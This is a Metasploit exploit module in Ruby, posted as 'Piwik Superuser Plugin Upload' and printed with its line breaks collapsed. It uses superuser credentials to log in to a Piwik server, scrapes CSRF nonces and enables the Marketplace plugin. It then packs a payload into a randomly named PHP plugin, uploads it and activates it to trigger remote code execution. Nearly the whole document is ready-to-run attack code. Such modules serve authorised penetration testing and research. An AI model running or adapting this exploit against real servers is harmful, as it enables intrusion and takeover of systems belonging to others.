Piwik Superuser Plugin Upload
Posted on 14 February 2017
## # This module requires Metasploit: http://www.metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex/zip' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info( info, 'Name' => 'Piwik Superuser Plugin Upload', 'Description' => %q{ This module will generate a plugin, pack the payload into it and upload it to a server running Piwik. Superuser Credentials are required to run this module. This module does not work against Piwik 1 as there is no option to upload custom plugins. Tested with Piwik 2.14.0, 2.16.0, 2.17.1 and 3.0.1. }, 'License' => MSF_LICENSE, 'Author' => [ 'FireFart' # Metasploit module ], 'References' => [ [ 'URL', 'https://firefart.at/post/turning_piwik_superuser_creds_into_rce/' ] ], 'DisclosureDate' => 'Feb 05 2017', 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [['Piwik', {}]], 'DefaultTarget' => 0 )) register_options( [ OptString.new('TARGETURI', [true, 'The URI path of the Piwik installation', '/']), OptString.new('USERNAME', [true, 'The Piwik username to authenticate with']), OptString.new('PASSWORD', [true, 'The Piwik password to authenticate with']) ], self.class) end def username datastore['USERNAME'] end def password datastore['PASSWORD'] end def normalized_index normalize_uri(target_uri, 'index.php') end def get_piwik_version(login_cookies) res = send_request_cgi({ 'method' => 'GET', 'uri' => normalized_index, 'cookie' => login_cookies, 'vars_get' => { 'module' => 'Feedback', 'action' => 'index', 'idSite' => '1', 'period' => 'day', 'date' => 'yesterday' } }) piwik_version_regexes = [ /<title>About Piwik ([w.]+) -/, /content-title="About Piwik ([w.]+)"/, /<h2 piwik-enriched-headlines+feature-name="Help"s+>About Piwik ([w.]+)/m ] if res && res.code == 200 for r in piwik_version_regexes match = res.body.match(r) if match return match[1] end end end # check for Piwik version 1 # the logo.svg is only available in version 1 res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri, 'themes', 'default', 'images', 'logo.svg') }) if res && res.code == 200 && res.body =~ /<!DOCTYPE svg/ return "1.x" end nil end def is_superuser?(login_cookies) res = send_request_cgi({ 'method' => 'GET', 'uri' => normalized_index, 'cookie' => login_cookies, 'vars_get' => { 'module' => 'Installation', 'action' => 'systemCheckPage' } }) if res && res.body =~ /You can't access this resource as it requires a 'superuser' access/ return false elsif res && res.body =~ /id="systemCheckRequired"/ return true else return false end end def generate_plugin(plugin_name) plugin_json = %Q|{ "name": "#{plugin_name}", "description": "#{plugin_name}", "version": "#{Rex::Text.rand_text_numeric(1)}.#{Rex::Text.rand_text_numeric(1)}.#{Rex::Text.rand_text_numeric(2)}", "theme": false }| plugin_script = %Q|<?php namespace Piwik\Plugins\#{plugin_name}; class #{plugin_name} extends \Piwik\Plugin { public function install() { #{payload.encoded} } } | zip = Rex::Zip::Archive.new(Rex::Zip::CM_STORE) zip.add_file("#{plugin_name}/#{plugin_name}.php", plugin_script) zip.add_file("#{plugin_name}/plugin.json", plugin_json) zip.pack end def exploit print_status('Trying to detect if target is running a supported version of piwik') res = send_request_cgi({ 'method' => 'GET', 'uri' => normalized_index }) if res && res.code == 200 && res.body =~ /<meta name="generator" content="Piwik/ print_good('Detected Piwik installation') else fail_with(Failure::NotFound, 'The target does not appear to be running a supported version of Piwik') end print_status("Authenticating with Piwik using #{username}:#{password}...") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalized_index, 'vars_get' => { 'module' => 'Login', 'action' => 'index' } }) login_nonce = nil if res && res.code == 200 match = res.body.match(/name="form_nonce" id="login_form_nonce" value="(w+)"/>/) if match login_nonce = match[1] end end fail_with(Failure::UnexpectedReply, 'Can not extract login CSRF token') if login_nonce.nil? cookies = res.get_cookies res = send_request_cgi({ 'method' => 'POST', 'uri' => normalized_index, 'cookie' => cookies, 'vars_get' => { 'module' => 'Login', 'action' => 'index' }, 'vars_post' => { 'form_login' => "#{username}", 'form_password' => "#{password}", 'form_nonce' => "#{login_nonce}" } }) if res && res.redirect? && res.redirection # update cookies cookies = res.get_cookies else # failed login responds with code 200 and renders the login form fail_with(Failure::NoAccess, 'Failed to authenticate with Piwik') end print_good('Authenticated with Piwik') print_status("Checking if user #{username} has superuser access") superuser = is_superuser?(cookies) if superuser print_good("User #{username} has superuser access") else fail_with(Failure::NoAccess, "Looks like user #{username} has no superuser access") end print_status('Trying to get Piwik version') piwik_version = get_piwik_version(cookies) if piwik_version.nil? print_warning('Unable to detect Piwik version. Trying to continue.') else print_good("Detected Piwik version #{piwik_version}") end if piwik_version == '1.x' fail_with(Failure::NoTarget, 'Piwik version 1 is not supported by this module') end # Only versions after 3 have a seperate Marketplace plugin if piwik_version && Gem::Version.new(piwik_version) >= Gem::Version.new('3') marketplace_available = true else marketplace_available = false end if marketplace_available print_status("Checking if Marketplace plugin is active") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalized_index, 'cookie' => cookies, 'vars_get' => { 'module' => 'Marketplace', 'action' => 'index' } }) fail_with(Failure::UnexpectedReply, 'Can not check for Marketplace plugin') unless res if res.code == 200 && res.body =~ /The plugin Marketplace is not enabled/ print_status('Marketplace plugin is not enabled, trying to enable it') res = send_request_cgi({ 'method' => 'GET', 'uri' => normalized_index, 'cookie' => cookies, 'vars_get' => { 'module' => 'CorePluginsAdmin', 'action' => 'plugins' } }) mp_activate_nonce = nil if res && res.code == 200 match = res.body.match(/<a href=['"]index.php?module=CorePluginsAdmin&action=activate&pluginName=Marketplace&nonce=(w+).*['"]>/) if match mp_activate_nonce = match[1] end end fail_with(Failure::UnexpectedReply, 'Can not extract Marketplace activate CSRF token') unless mp_activate_nonce res = send_request_cgi({ 'method' => 'GET', 'uri' => normalized_index, 'cookie' => cookies, 'vars_get' => { 'module' => 'CorePluginsAdmin', 'action' => 'activate', 'pluginName' => 'Marketplace', 'nonce' => "#{mp_activate_nonce}" } }) if res && res.redirect? print_good('Marketplace plugin enabled') else fail_with(Failure::UnexpectedReply, 'Can not enable Marketplace plugin. Please try to manually enable it.') end else print_good('Seems like the Marketplace plugin is already enabled') end end print_status('Generating plugin') plugin_name = Rex::Text.rand_text_alpha(10) zip = generate_plugin(plugin_name) print_good("Plugin #{plugin_name} generated") print_status('Uploading plugin') # newer Piwik versions have a seperate Marketplace plugin if marketplace_available res = send_request_cgi({ 'method' => 'GET', 'uri' => normalized_index, 'cookie' => cookies, 'vars_get' => { 'module' => 'Marketplace', 'action' => 'overview' } }) else res = send_request_cgi({ 'method' => 'GET', 'uri' => normalized_index, 'cookie' => cookies, 'vars_get' => { 'module' => 'CorePluginsAdmin', 'action' => 'marketplace' } }) end upload_nonce = nil if res && res.code == 200 match = res.body.match(/<form.+id="uploadPluginForm".+nonce=(w+)/m) if match upload_nonce = match[1] end end fail_with(Failure::UnexpectedReply, 'Can not extract upload CSRF token') if upload_nonce.nil? # plugin files to delete after getting our session register_files_for_cleanup("plugins/#{plugin_name}/plugin.json") register_files_for_cleanup("plugins/#{plugin_name}/#{plugin_name}.php") data = Rex::MIME::Message.new data.add_part(zip, 'application/zip', 'binary', "form-data; name="pluginZip"; filename="#{plugin_name}.zip"") res = send_request_cgi( 'method' => 'POST', 'uri' => normalized_index, 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => data.to_s, 'cookie' => cookies, 'vars_get' => { 'module' => 'CorePluginsAdmin', 'action' => 'uploadPlugin', 'nonce' => "#{upload_nonce}" } ) activate_nonce = nil if res && res.code == 200 match = res.body.match(/<a.*href="index.php?module=CorePluginsAdmin&action=activate.+nonce=([^&]+)/) if match activate_nonce = match[1] end end fail_with(Failure::UnexpectedReply, 'Can not extract activate CSRF token') if activate_nonce.nil? print_status('Activating plugin and triggering payload') send_request_cgi({ 'method' => 'GET', 'uri' => normalized_index, 'cookie' => cookies, 'vars_get' => { 'module' => 'CorePluginsAdmin', 'action' => 'activate', 'nonce' => "#{activate_nonce}", 'pluginName' => "#{plugin_name}" } }, 5) end end